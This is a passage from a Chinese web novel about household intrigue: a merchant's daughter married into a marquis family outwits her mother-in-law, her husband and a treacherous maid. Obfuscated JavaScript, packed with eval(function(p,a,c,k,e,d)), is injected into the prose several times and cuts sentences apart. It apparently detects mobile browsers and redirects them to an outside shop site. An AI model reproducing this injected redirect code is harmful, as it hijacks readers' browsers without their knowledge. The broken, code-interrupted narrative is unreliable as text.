他冷笑:“二嫂嫂,饭可以乱吃,话不能乱说!” 孙协兆快步走至孙老夫人身旁坐下:“固然顾氏不是个好的,可若非二嫂你不懂治家之道,今日铺张浪费点了如此多菜肴,又怎会闹到要我去凑银子的地步?” “若非三弟你请了小云南王,我又何必巴心巴肝布置这场宴席?” “你……” 孙老夫人听不得旁人说儿子的不是,愤怒一拍桌打断刘氏。 “混账东西!你害得安阳侯府蒙羞便罢了,如今竟还攀扯协兆!” 若是掌家之权尚在顾皎皎手中,今日安阳侯府便不会丢脸! 身上没有银子还抢什么掌家之权? 越想越气,孙老夫人胸膛快速起伏。 今日她怎么也得让刘氏将管家之权交出! 孙老夫人揉了揉疼痛不已的经外奇穴:“来人,上家法!” 刘氏闻言怔住,家法是要给她用的? 家法岂能随便请出?! 她心中不服,赶忙拦住取家法的嬷嬷。 刘氏尖声道:“母亲!儿媳不曾犯什么塌天大祸!何至于请家法?” “况且今日母亲若是用家法罚了儿媳,让儿媳日后如何管家?又如何在府中自处?” 此话一出,孙老夫人身边的嬷嬷看向主子请示。 孙老夫人冷笑一声:“没有金刚钻别揽瓷器活,你无法管家自然便不要管家。” 少顷,嬷嬷将家法取来。 孙老夫人眼神示意,那嬷嬷便将家法用到了刘氏身上。 一鞭下去,刘氏的后背便多一条血肉模糊的鞭痕,噼里啪啦的鞭打声此起彼伏。 眼见刘氏奄奄一息,章氏跪倒在地求情:“母亲,求您别打了,再打就要出人命了!” 孙老夫人挥手,嬷嬷停下动作。 看着地上宛如死狗一般的刘氏,她道:“可想清楚了?” 刘氏眸中划过一抹怨毒,她艰难抬头,口中吐出一口血沫。 片刻后,才乖顺道::“儿媳愿交出掌家之权。” 此话一出,孙老夫人面色和缓。 她身边的宋嬷嬷忙笑着将人扶起来:“二夫人受苦了,若是早些想明白又何至于此?” 刘氏牵强一笑:“是我想岔了。” 双剑动作极快,没一会儿便将顾皎皎祖宗十八代都查了个底朝天。 “小王爷,孙协文内子背景并不复杂,就是简单的商人之女,两年前她的父亲病重,濒死之际为她筹谋,带着丰厚的家底嫁入安阳侯府。” “但是大婚当日,孙协文便离京游学。” 沈云祉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017222|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯了一声。 “如此便能解释安阳侯府众人对顾皎皎的态度了。” 他轻轻摩挲着书案上的宣纸,眼神落在寒奉寺三字上,眸光晦暗不明。 手指轻点三字,他淡声询问:“顾皎皎何时去的寒奉寺?” 双剑拱手道:“回小王爷,孙协兆内子两日前曾在寒奉寺住了一夜。” “就是王爷出事那日……” 沈云祉点头:“或许是巧合吧。” 翌日 顾皎皎称病打发秋容去给孙老夫人告假。 不过一柱香时间,孙老夫人便带着宋嬷嬷和秋容风风火火闯进顾皎皎院子。 看着紧闭的寝屋房门,容嬷嬷道:“老夫人,这……” 孙老夫人冷脸:“我还就不信了,昨日牙尖嘴利之人今 日便床也起不来。” 这小贱蹄子越发无法无天,昨日便罢了,今日竟连请安也私自免了! “给我将门踹开,我倒要看看,这病弱西子究竟是何模样!” 孙老夫人一挥手,宋嬷嬷带着两名丫鬟直接撞了进去。 屋内,莺儿正侍奉顾皎皎喝药。 孙老夫人皱眉。 难道她当真冤枉这小蹄子了? 满是褶子的脸上挂起和蔼笑容,孙老夫人嘘寒问暖:“皎皎,怎么忽然病得这般严重?可找了大夫?” “咳咳!”顾皎皎捂住苍白唇瓣:“母亲,不碍事的,大夫说儿媳这是操劳过度,长时间忧思太过导致内里虚空。” “多多休息便好。” “母亲,您找儿媳可是有何事?” 孙老夫人面上笑容越发和蔼,将对牌放到顾皎皎手中:“今日母亲是来归还你掌家之权的。” “之前是你二嫂嫂不懂事,母亲已然对她动了家法,为你出了口气。” 孙老夫人喟叹一声:“母亲私心里还是觉得,咱们安阳侯府的当家主母还是非你不可啊!” 顾皎皎面上感动不已,心中却嗤之以鼻。 说得像管这侯府是什么肥差似的! 管理侯府这两年,她不知贴了多少嫁妆,如今还想将她当做肥羊宰? 没门! 第八章 见不得人的事 不待孙老夫人继续喋喋不休,顾皎皎掩唇轻叹,一双美目中盛满遗憾。 她愧疚道:“能得母亲信任,当真是儿媳的幸事,可儿媳身子实在不争气,怕是无法管家……” 闻言,孙老夫人不悦质问:“怎的就管不得了?你这不过小毛病,一日两日也就好了!” 孙老夫人后知后觉语气重了,忙扶额闭眸,呻吟着头痛:“哎哟,皎皎啊,你应当不会这般不孝,眼睁睁看着我一个病弱的老婆子强撑着身体管家吧?” 若是往日,婆母这般说了,顾皎皎必定委曲求全,纵然再不适,也打碎牙齿往肚里吞。 可今非昔比,顾皎皎冷眼看着,心中冷漠不已。 从她嫁进安阳侯府的第一日起,这老虔婆便利用她的心软,用这等法子拿捏她。 从前她敬她是婆母,是以诸多事情都不计较,如今嘛,呵呵! 顾皎皎勾唇笑,轻轻倚靠在床榻上:“母亲,儿媳上次请的太医说了,您身子康健,之所以整日头疼,不过是戏曲听太多,吵到了罢了。” 孙老夫人瞪大浑浊双眼,厉声呵斥:“胡说!你是何处请来的庸医?!” “庸医啊?”顾皎皎似笑非笑:“那名太医是儿媳花重金聘请而来,听说他在宫中可是皇后娘娘的御用太医,母亲今日之意,是说皇后娘娘的御用太医医术平庸?” “还是说,母亲觉得,您的身体尊贵过皇后娘娘的凤体?若是皇后娘娘知晓母亲您今日之言,怕是会降罪哟。” “当……当真?”孙老夫人被唬住。 顾皎皎乘胜追击:“依儿媳看,那戏曲母亲便莫要听了,安心把咱们侯府管理好便是,母亲,您说可好?” 孙老夫人仍觉惊惧,仿佛窥见了皇后震怒的模样,忙不迭道:“是是是,只是今日之言你可莫要被那太医知晓了。” 如今协兆与小云南王关系颇好,飞黄腾达指日可待,若是在自己这里出了岔子,那可如何是好! “那是自然。”顾皎皎笑:“既如此,那咱们侯府便都靠母亲了,母亲慢走。” 孙老夫人被莺儿请出院子,直到回了寝屋,她才从稀里糊涂的状态中清醒过来。 孙老夫人皱眉道:“我怎么觉得哪里不对?方才我是不是被那小蹄子诓骗了?” 宋嬷嬷道:“老夫人,老奴也觉得方才三夫人的话漏洞颇多,可以老奴去打听打听?” 孙老夫人挥了挥手。 将秋容打发去料理花草,莺儿端水进入寝屋替主子净面。 “姑娘,方才您对老夫人说的可是真的?” 顾皎皎将纤纤十指放入水盆中,漫不经心道:“自然是真的,那太医确是重金聘请,太医院中的太医又有哪个不是皇上、皇后的御用太医呢?” 另一边,孙老夫人听完宋嬷嬷所言,气得将一盏燕窝打砸在地。 “混账东西!那小贱蹄子如今倒是无法无天了,竟敢这般哄骗于我!” 说着,盛怒的孙老夫人便要起身去找顾皎皎算账,宋嬷嬷赶忙拦住她:“老夫人您莫要冲动,此事还应从长计议啊!老奴愚钝,可这两日老奴却察觉到三夫人不似从前那般服管教了……” 宋嬷嬷顿了顿,低声道:“老夫人,您说是不是三夫人发现了那事儿……” “不可能!” 孙老夫人尖声否决:“顾皎皎那小贱蹄子是什么脑子,我还能不清楚?她若是当真发现了什么,又哪里可能沉得住气?” 宋嬷嬷:“不怕一万,就怕万一……若当真发现了,咱们也好早做打算……” 孙老夫人不语,片刻后她冷哼一声:“哼!我瞧着倒是你高看那顾皎皎了。” “罢了,你且去将秋容找来。” 宋嬷嬷很快便将侍弄花草的秋容带到孙老夫人跟前。 天气炎热,秋容一身襦裙皆被打湿,浓浓汗味萦绕在她周身。 孙老夫人皱眉,忙用手帕捂住口鼻:“怎的搞成这般模样?” 秋容委屈:“老夫人,奴婢才去了花房侍弄花草,花房中跟蒸笼似的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017223|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里能不出汗……” 孙老夫人叫她来,可不是来听她诉苦的,当即沉着脸道:“顾皎皎近日可有什么异常?” 秋容的哭诉噎在嗓子眼,片刻后才咬唇道:“回老夫人,姑娘近日没有什么异常……” 这两日她整日都被使唤去干这干那,连姑娘的身都近不了,哪里晓得姑娘近日的动向? 不过这话她是万万不敢同老夫人说的。 闻言,孙老夫人不满,反问:“没什么异常?你确定?我可是瞧着顾皎皎近两日变了不少啊!” 秋容心虚垂下头,片刻才结巴道:“回老夫人,奴婢也瞧着姑娘有些不对劲儿,不知道姑娘是不是怪姑爷不进她屋里亲近……” “合该不进她屋!”孙老夫人心间涌上大仇得报的快感,满是褶子的老脸爬上一抹鄙夷:“商女就是商女,成日只想着男人!” 宋嬷嬷与秋容连忙附和:“老夫人骂得是。” 孙老夫人眼眸微眯:“秋容,你且回去好生盯着那顾皎皎,切记莫要露出马脚。” 她看了宋嬷嬷一眼,宋嬷嬷走至秋容身 旁耳语了两句。 秋容闻言欣喜不已,忙不迭磕头:“奴婢定然好生完成老夫人吩咐之事!” 月色如墨,蝉声鸣鸣。 秋容蹑手蹑脚打开院门,她正欲回房,一抬头,魂都吓没了,一屁股墩坐到地上:“鬼呀!” “呵呵,你可真是胆小如鼠。” 莺儿讥笑,从黑暗中走出:“不做亏心事,不怕鬼敲门,秋容,你这么晚才回来,可是做了什么见不得人的事儿?” 看清黑影的庐山真面目,秋容惧意消散。 她别开眼心虚道:“晚饭用得太多了,是以去花园中转了转消食。” 秋容说完便要回屋,莺儿径直拦住她去路:“看来花房的活计太过轻松了,所以才会吃饱了撑着啊!” “你才吃饱了撑着!”秋容恼了:“莺儿,你也同我一样,不过一个奴婢罢了,摆什么主子的谱?” 第九章 用心良苦 “我是姑娘身边的锦衣大丫鬟,自然有权利管这院中的所有人。” 莺儿要比秋容高了半个头,她眼眸向下斜视秋容,不屑道:“你是什么性子我能不了解?整日比待宰的肥猪还好吃懒做,竟也会舍得散步消食?” “你!你!”秋容愤怒:“人都是会变的,我如今喜欢散步不行?” 莺儿噗嗤笑了一声:“瞧瞧你那珠圆玉润的模样,都快抵两个姑娘了!你告诉我你喜欢散步?” 秋容被怼得哑口无言,面上燥热不已,巴不得找个地缝钻进去,只能灰溜溜离开。 莺儿强撑着将房门关上,这才笑出声:“哈哈哈,姑娘,您是没瞧见方才那人的脸色,真是大快人心!” 顾皎皎无奈看了她一眼:“你这丫头说话也忒毒了,秋容是较丰满,倒也没到抵两个我的地步。” “谁让她背叛姑娘?合该被骂!” 顾皎皎笑了笑:“今日秋容定然是去见了那老虔婆,指不定肚中藏了什么坏水,你且找人盯着她,莫要让她成了事。” 莺儿:“姑娘,既然发现了秋容不是个好的,依奴婢看直接打出院子便是,何必这般大费周章?” “她到底是随我一同到这安阳侯府的,若是她能迷途知返,我未必不会许她一个善终。” 顾皎皎叹息:“且看她能否把持住这最后的机会。” 翌日 莺儿满面怒容进入寝屋。 顾皎皎挑眉:“怎么了?倒是难得见你这般失态。” “姑娘,她们欺人太甚!”豆大泪珠从莺儿眼中砸落:“奴婢让人跟着秋容,发现她今日午时又去见了老夫人,废了些银子多番探话,这才知晓老夫人为了毁您清白,竟然承诺秋容做姑爷妾室!” 顾皎皎手中锦帕捏紧又松开,不怒反笑:“如此,我不若助她得偿所愿?” 傍晚时分,秋容从孙老夫人处蹦蹦跳跳回房,却见自个儿的被褥随意散落在地。 她怒目圆睁,当即便气冲冲闯进隔壁:“莺儿,你莫要太过无耻,你凭什么丢我被子?!” 莺儿睨了她一眼:“今后你得搬到其他下人房。” “凭什么?我虽然是青衣丫鬟,可也是随姑娘一起来这府中的,一直都是一人住一间。” “姑娘说了,今后你便是布衣丫鬟。”莺儿拍了拍衣裙上不存在的灰尘,直直看着她的,一字一句道:“姑娘还说了,今后,你之前享受的所有特权通通收回。” “什么?”秋容心中咯噔一下,十分不安,难道是姑娘发现了什么? 心虚之下难免魂不守舍,待秋容回过神时,已然被莺儿扫地出门,任凭她如何拍打房门也没得到丝毫回应,她只好抱起沾满灰尘的被褥去往下人房。 秋容被贬为布衣的消息在院中不胫而走,从前被她磋磨过的布衣丫鬟都变着法的整蛊她。 数日后。 顾皎皎看着跪在地上的秋容淡声询问:“有何事?” 秋容哭得梨花带雨:“姑娘,您为何身边只要莺儿伺候,您不要奴婢了吗?” “没有不要你。” “那您为何将奴婢贬为布衣?为何只留莺儿一人在身边伺候?!” 听见秋容质问的语气,顾皎皎几不可见皱了皱眉,心中不悦,看来那老虔婆不知给这人画了多少大饼,如今竟这般不知分寸。 这是已经把自己当这安阳侯府的主子了?美梦成真还是美梦成空尚且是个未知数,真是沉不住气。 顾皎皎勾唇:“莺儿莽撞,若是不留在身边指不定给我带来多少麻烦,你不一样,我信任你。” “将你贬为布衣,我也是有自己的考量。” 秋容狐疑,心中思虑却消散些许:“当真?不知姑娘想让奴婢做何事?” “自然是许你一个好前程。”顾皎皎神色一黯,淡淡忧伤萦绕不散。 她低声道:“你也知晓,我不得夫君喜爱,成婚两年他连碰也未曾碰过我,眼见着如今夫君与小云南王交情匪浅,飞黄腾达不过转瞬,不怕你笑话,我心中慌啊。” 秋容眼眸一亮,那抹子狐疑消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017224|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失得无影无踪。 她故作不懂:“姑娘,您慌什么呢?姑爷迟早得圆房……况且,姑爷身边也没有旁的妾室……” 顾皎皎苦笑:“正是没有妾室,是以才更慌。” “秋容,若你一直在我身边贴身侍奉,夫君难免厌屋及乌不会高看你,只有将你拨得离我远些,才有可能得夫君青眼。” 她摸着自己白皙的面颊,喃喃自语:“想来夫君不喜清瘦,你与我恰好相反,珠圆玉润,想来夫君定然喜欢。” 淡淡眸光落在秋容面上,正好将她来不及收起的欣喜尽收眼底。 顾皎皎:“如今你可知晓我的用心良苦了?” 秋容忙不迭磕头:“奴婢误会姑娘了,姑娘放心,待奴婢成了妾室定然全心全意侍奉主母,努力缓解姑爷与姑娘的关系!” “是吗?只愿你莫要恩将仇报便好。”顾皎皎看着她眼眸深邃,一语双关。 秋容的心再次高悬,在她额角渗出细密汗珠后,顾皎皎才扶额轻声道:“小厨房顿了一盅虫草老鸭汤,你且给姑爷送 去书房。” “对了,姑爷最喜桃粉。” 这是给她和姑爷制造机会了?!秋容欣喜不已,敷衍行了一礼快步离开。 看着秋容背影,顾皎皎神情淡漠。 莺儿从暗处出来:“姑娘,姑爷当真最喜桃粉?” “那是自然,我从不打诳语。”顾皎皎垂首轻抿茶水,水雾将她清冷面庞衬得若隐若现,瞧不清神色。 另一边,秋容盛装打扮,扭着腰肢前往书房。 书房房门紧闭,她轻扣房门夹着嗓子道:“姑爷,奴婢给您送了些虫草老鸭汤来,现在可否进来?” “进来吧。” 得到应允,秋容心中窃喜,她推开房门进去,行至孙协兆面前时,腰肢扭得越发妖娆:“姑爷,可要奴婢现在侍奉您喝汤?” “不必,你走吧。”孙协兆头也未抬,仍专心致志看书。 秋容不甘心,假意扭了脚一抬腚坐到孙协兆怀里。 第十章 总归配得上 “姑爷,奴婢不是故意的,没伤到您吧?” 秋容扭头,媚眼如丝瞧着孙协兆,孙协兆也正好抬头与她对上视线。 羞涩之情油然而生,秋容红着脸起身:“姑爷,您为何这般看着奴婢,可是奴婢面上有何东西?” 孙协兆皱眉:“我看你作甚?你挡着我看书了!还不快滚开。” 说着,他一把将秋容挥开,泛黄的纸张这才重新映入视线。 秋容脸色由红转白,她轻咬唇瓣,终是未曾走开,转而站在一旁磨墨。 桃粉色袖摆微微晃动,如蝴蝶般在孙协兆面前翩翩起舞,她磨墨的手不时便会触碰到孙协兆骨节分明的手背,挑逗之情溢于言表。 读书兴致被打断,孙协兆不厌其烦,横眉怒斥:“你抖什么抖?!磨墨这点小事儿都干不好,还来书房伺候什么?” 他未必不懂秋容今日言行举止之间的暧昧,若是往日,兴许会收了她,可如今他心中甚为烦闷。 小云南王这两日对他态度冷淡了不少,孙协兆反省己身,发现自己已然江郎才尽,是以这才临时抱佛脚,试图博览群书,增长才学。 如今被秋容一搅合,方才所学知识皆前功尽弃! 心中怒火丛生,孙协兆站起身暴跳如雷:“聒噪至极。” 见她身着桃粉色襦裙,另一抹桃粉色倩影浮现于脑海,他面上愈发鄙夷:“面皮这般黑,还穿桃粉色?真是东施效颦!往后莫要在我面前污了我的眼,否则我见你一次罚你一次!” 说完,孙协兆抬脚欲走,却像犹不解气似的对一旁小厮吩咐道:“给我盯着她在书房门口跪上两个时辰。” “姑爷……” 秋容傻眼了,眼眶里蓄满泪水,被两名小厮压着跪在书房门口。 出了安阳侯府,孙协兆便吩咐马夫驾车七拐八拐进入一个小院。 他快步踏进院中,将那么桃粉倩影拥进怀里。 孙协兆凑近女子白皙光滑的颈窝深嗅,淡淡幽香萦绕:“青青,你好香,我好想你……” 天知道方才见到秋容穿了桃粉色衣衫时,他是怎样的思之如狂,冲动驱使他来了院子寻她。 孙协兆轻吻女子耳垂,正想将她抱进屋里却被推开。 徐青青回眸看他:“你怎么又来了?不是写信告诉你这段时日都别来找我吗?” “我整日都念着你,哪里忍得住不来找你?”说着,孙协兆又要抱上去。 徐青青赶忙躲开,娇俏的面颊严肃了不少。 她警告道:“你怎的这般没有大局观?眼见我认祖归宗在即,若是因你频繁过来出了岔子,那可如何是好?!” 徐青青嘟唇:“我不管,反正在我认祖归宗之前,你莫来见我!” 孙协兆眼睛一眨不眨盯着徐青青粉嫩的唇瓣,喉结微动。 片刻后他笑问:“那青青,你倒是说说,你究竟何时认祖归宗?” “快了,要不了几日。” 徐青青径直往屋里走。 孙协兆心下稍松,赶忙紧跟其后,一进屋子他便将门合上,动作粗鲁地将徐青青按在塌上:“好青青,我知晓了,可是今日来都来了……” 徐青青羞涩一笑,嗔怪般捶了捶他的胸膛:“光是你在这儿问这问那,我且问你,你这两日可有进那商女屋里?” 孙协兆保证:“我自是不可能碰她。” “我可是听说,你那妻子长得国色天香……”徐青青试探道。 孙协兆闻言不屑:“什么国色天香?真是流言误人,她可比不上青青你一根手指头。” 徐青青:“既是比不上我,那你准备何时休了她?” “今日回去我便同母亲商量,你放心,我定然将你风风光光迎进安阳侯府当我的夫人!” 徐青青满意一笑:“我的身份总归是配得上你的。” 床帘放下,一室春光。 院外,一抹身影稍纵即逝。 莺儿火急火燎回了院子,将房门关上她低声道:“姑娘,果然如您所料,今日秋容去书房后,姑爷便出府去了。” “王吉在暗处跟着,找到了一处院子。” 顾皎皎点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017225|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“想来那院子便是给那外室新找的了。” 莺儿:“正是,姑娘,听王吉说那二人此刻正行苟且之事,可要奴婢带人去围了他们?” “不必。”顾皎皎制止,抿了口茶水淡声道:“现下还不到时机,时机到了自是有你围他们的机会。” “另外,莺儿你告知王吉,私下里再查查孙协兆外室,做事谨慎些,莫让人抓了把柄。” 莺儿领命退下。 秋容勾引三少爷未果,反而被罚跪一事没一会儿便在府中传来。 宋嬷嬷将今日之事一五一十禀告给孙老夫人。 孙老夫人闻言气得摔了茶盏:“真是个不中用的!” 宋嬷嬷轻轻给老夫人抚背顺气:“老夫人您莫要气坏了身子,那秋容虽沉不住气了些,可也不代表您所谋之事落空。” “还不落空?”孙老夫人大喊:“现如今秋容做了这般事,还闹得人尽皆知,顾皎皎又不是傻子,哪里还会将她继续留在身边伺候?更遑论事成了! ” “母亲,什么事成不事成?”孙协兆神清气爽出现在院子中。 孙老夫人:“还不是休弃那顾皎皎一事。” 孙协兆随意找了张凳子坐下:“那感情好,今日儿子也正是为此事而来。” 孙老夫人闻言哼了一声:“此事怕是没那么容易,今日你罚了秋容,怕是计划要落空了。” “秋容?”孙协兆愣住,片刻后才道:“母亲说的莫不是今日穿红着绿那丫头?” “正是,那人是顾皎皎身旁的丫头。” 孙协兆闻言面露懊恼:“儿子都未正眼瞧她,哪里知道她是谁的丫头……” “这可如何是好?青青那边也正催着我休妻。” 徐青青一事,孙协兆早就告知了孙老夫人,孙老夫人也希得一个身份高贵些的儿媳,因此是举双手双脚赞成。 如今听徐青青在催休妻,当下也慌了神,生怕她一个不满意便拍拍屁股走人。 孙老夫人皱眉,面部褶子形成深深沟壑,片刻后,她眼眸一亮。 第十一章 不问自取即是偷 “一计不成便另想一计便是,又有何难?” 见孙老夫人胸有成竹,孙协兆心下稍安,他询问道:“母亲可是有什么好法子?” 孙老夫人勾了勾手指,孙协兆当即坐近了些。 “若是严格说来,顾皎皎嫁到咱们安阳侯府已逾两年,已然犯了七出之一。” 孙协兆当即了然:“母亲,您的意思是,以无所出之名休妻?” “正是。”孙老夫人嘿嘿一笑:“顾皎皎出身商户,娘家人也死绝了,没人能给她撑腰,还不是任我们揉搓扁圆?” “青青身份尊贵,届时娶她万万不可寒酸,将那顾皎皎休弃后,咱们趁机将她嫁妆吃了,日后青青进了咱们侯府,也定然欣喜。” 孙协兆垂眸沉吟,少顷,他抬头:“若是如此,青青定然会在岳丈大人面前替我美言,那我的平步青云之路岂非更加顺遂?” “我儿聪慧!” 母子二人相视一笑,达成共识。 夜间,孙协兆一身酒气来了顾皎皎房中。 顾皎皎挑眉:“夫君今日怎么舍得来?” 孙协兆冷冷看了她一眼,话也不说,倒头便在寝屋外的小塌上安置。 顾皎皎懒得理他也就由着他去了。 一连几日都是如此,莺儿总觉心惊肉跳,午后,她担忧道:“姑娘,姑爷这几日再搞什么幺蛾子,奴婢怎么觉得没那么简单?” 顾皎皎躺在贵妃椅上,橙黄阳光星星点点散落在她白皙面上,纤长睫毛轻轻颤动。 片刻后,她才漫不经心开口:“但凡与孙家挂钩之事哪样简单?” “你不用理他,他大概准备干什么我是清楚的,他所求也是我所求,既然目标一致,那便由着他吧。” “不过……”顾皎皎睁开眼眸,一抹厉色划过:“若是想打我其他主意,那便看他有没有这个本事了!” 驿站 双瑞将近日孙协兆行踪简单禀告一番。 沈云祉合上手中书籍,带着抹兴味:“这孙协兆旁的本事没有,内宅手段倒是不缺。” “日日宿在顾皎皎处,却什么也不干,一月后便可请大夫诊脉,若无喜脉,便可光明正大发难,以无所出之罪休弃顾氏。” 休弃顾皎皎后,应当就是迎娶徐青青了。 双瑞接触了不少阴私之事,倒是鲜少见过哪个男子这般针对一个女子,他皱眉道:“小王爷不觉得,孙协兆的手段实在称不上光明磊落吗?” “光明磊落?”沈云祉摇头轻笑,不置可否。 少顷,他唇边勾起一抹笑容,三分讥讽三分了然:“本王倒是觉得孙协兆有眼光,顾皎皎身份无法给他任何助力,若是用法子休了她,另娶一名身份高些的,未尝不是青云路的捷径。” 双瑞不再答话,悄声站立于一旁。 “扣扣扣!”房门被敲响。 沈云祉挥手,双瑞即刻打开房门,门外站着的人是双剑。 沈云祉轻抬眼睑:“可是查到了什么?” 双剑:“正是,小王爷,属下这两日又细细查了孙协兆内子,发现京中第一楼竟是她的产业,此外,属下还查到她在寒奉寺呆了一夜后,回府便让贴身丫鬟秘密买了避子药……” “第一楼?避子药?”沈云祉眯眼,手中毫笔咔嚓一声断裂。 “如此看来,安阳侯府设宴之日发生的一切事宜,极大可能都是顾皎皎主导,若她是个心机深沉的……看来先前倒是本王妄下定论了……罢了,本王且亲自去会会她。” 双瑞:“小王爷,您私下去见一有夫之妇……怕是十分冒昧……” 沈云祉:“……” “本王何尝不知?你且去将孙协兆找来,就说本王新得了一副好画,请他一同鉴赏。” 得了沈云祉邀请,孙协兆自然求之不得,第二日便去往驿站应约。 硕大的画轴挂在驿站墙上,沈云祉道:“协兆,此话可谓是将京城的大街小巷都画得十分精巧,可称为精美的舆图。” 孙协兆连连点头:“小王爷好眼光,这画精致与实用兼具,实在妙不可言!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017226|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那是自然。”沈云祉轻笑:“本王的眼光向来不差,可惜本王未在京中瞧见其他好的画作……” 他的语气中含着淡淡的遗憾:“从前在家之时,家中美画如云,届时只道是寻常……” 孙协兆闻言忽然想起库房之中有几幅名家之作。 他当即道:“若是小王爷喜欢赏画,不若明日到属下家中,属下早年收藏了几副名画,或许小王爷您喜欢。” 沈云祉:“如此甚好,那本王便只好再次叨扰了。” 送走孙协兆,双剑眉头蹙起:“小王爷,属下之前并未查到孙协兆早年有收藏名画的癖好。” “本王知晓。”沈云祉微勾唇角,似笑非笑。 翌日 顾皎皎正在用膳,莺儿跑进屋:“姑娘,姑爷派人将您嫁妆里的几幅名画给搬到会客厅去了!” 顾皎皎放下汤匙:“今日府中可以来了什么贵客?” 莺儿:“姑娘怎知有人来?” 顾皎皎笑:“孙协兆什么尿性我能不清楚?此人饱读诗书也不过是为了 更好结识惜才的位高权重之人罢了,又哪里有闲情雅致赏画?” “姑娘真是冰雪聪明,奴婢打听到,今日小云南王来了府中。” 顾皎皎了然点头,放下手中锦帕:“走吧,咱们去添添堵。” 几幅名画由小厮端着站立在一旁,孙协兆领沈云祉一一鉴赏。 路过一副画着白鹤的画作时,沈云祉眸光一亮:“协兆,此画作者笔力雄厚,下笔栩栩如生,你多少银子购买的?可否转卖给本王?” 见小云南王真有喜欢的,孙协兆心中一喜,他忙挥手让下人将画端过来,亲自接过递到双瑞手中。 见孙协兆动作,沈云祉挑眉:“如此看来,协兆是愿意割爱了?” “小王爷怎的这般客气。”孙协兆笑得谄媚:“说什么转卖不转卖的,小王爷喜欢这幅画,是画的福气,也是您与这画的缘分。” “您既喜欢,稍后用过晚膳可直接带回驿站。” 第十二章 竟然是他 顾皎皎还未踏入会客厅便听到了孙协兆的如意算盘打得叮当响。 想用她的东西讨好权贵?呵,痴心说梦! 顾皎皎眸中划过一抹冷意,快步进入会客厅:“夫君怕是无法做这幅画的主。” 献画被打断,孙协兆皱眉。 他转头看向罪魁祸首,见是顾皎皎,当即变了脸色怒斥:“你来做什么?还不快回你院子,我正招待贵客,不容你捣乱!” 顾皎皎冷笑:“我捣乱?明明是你偷了我的画。” “偷?”孙协兆怒火中烧:“我光明正大从库房中取出画作给小云南王鉴赏,如何叫偷?” 眼见沈云祉面色微变,孙协兆心中颇为慌乱,不行!不能让这小贱人坏了他的事儿! 他黑沉着脸抓住顾皎皎手腕:“快滚回你院子,否则别怪我翻脸无情!” 翻脸无情? 顾皎皎只觉好笑,她不惧孙协兆吃人的目光,奋力甩开被抓住的手,一字一句掷地有声:“不问自取是为偷,画是我的,你未曾问过我,便是偷!” “你胡说什么?!” 孙协兆恼羞成怒,上前便要动手,被双剑遏制住。 沈云祉颇为不赞同,冷声道:“协兆,君子动口不动手,况且顾氏乃你之妻,顶天立地的男子怎可做出殴打发妻一事?” “你读的圣贤书都读到哪里去了?!难不成从前你在本王跟前谦逊有礼的模样,都是哄骗本王的?” “小王爷……不……不是这样的……”孙协兆面色苍白,挣脱开双剑跪倒在地解释。 “你太令本王失望了。” 沈云祉摇头,他将双瑞手中的白鹤画作递给顾皎皎:“物归原主。” 顾皎皎接过:“多谢小王爷。” 目送顾皎皎离开,沈云祉让人将孙协兆扶起来:“协兆,今后莫要做这等糊涂事才好。” 孙协兆连连称是。 马车上,沈云祉闭目假寐。 双瑞:“小王爷,今日您可发现了顾氏异常?” “才见一面能发现什么?” 